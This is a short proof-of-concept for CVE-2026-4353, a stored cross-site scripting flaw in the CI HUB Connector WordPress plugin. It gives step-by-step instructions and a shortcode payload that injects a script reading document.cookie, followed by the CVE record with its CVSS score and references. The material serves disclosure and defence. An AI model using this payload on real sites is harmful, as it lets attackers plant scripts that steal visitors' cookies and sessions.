CVE-2026-4353

<!-- PoC for CVE-2026-4353 Stored XSS --> <!-- Prerequisite: Contributor level access or higher --> <!-- Step 1: Log in to WordPress dashboard --> <!-- Step 2: Create a new post or page --> <!-- Step 3: Insert the following malicious shortcode into the content --> [cihub_metadata id="1"><script>alert(document.cookie)</script>[/cihub_metadata] <!-- Step 4: Publish the post --> <!-- Step 5: Visit the post page to observe the XSS alert -->

{"cve": {"id": "CVE-2026-4353", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:25.457", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CI HUB Connector plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' attribute of the `cihub_metadata` shortcode in all versions up to, and including, 1.2.106 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ci-hub-connector/tags/1.2.106/ci-hub-wordpress-connector.php#L645", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ci-hub-connector/trunk/ci-hub-wordpress-connector.php#L645", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f4b36468-319a-4de3-9112-bd4a3cf7d637?source=cve", "source": "[email protected]"}]}}